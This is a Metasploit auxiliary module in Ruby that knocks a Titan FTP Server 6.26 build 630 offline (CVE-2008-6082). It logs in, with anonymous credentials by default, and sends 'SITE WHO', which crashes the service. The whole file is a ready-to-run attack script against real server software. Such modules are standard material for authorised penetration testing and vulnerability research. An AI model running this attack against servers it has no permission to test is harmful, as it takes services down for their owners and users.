Titan FTP Server 6.26.630 SITE WHO DoS

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Titan FTP Server 6.26.630 SITE WHO DoS',
      'Description'    => %q{
        The Titan FTP server v6.26 build 630 can be DoS'd by
        issuing "SITE WHO".  You need a valid login so you
        can send this command.
      },
      'Author'         => 'kris katterjohn',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-6082'],
          [ 'OSVDB', '49177'],
          [ 'EDB', '6753']
        ],
      'DisclosureDate' => '2008-10-14'))

    # They're required
    register_options([
      OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),
      OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])
    ])
  end

  def run
    return unless connect_login
    print_status("Sending command...")
    raw_send("SITE WHO\r\n")
    select(nil,nil,nil,1)
    disconnect
  end
end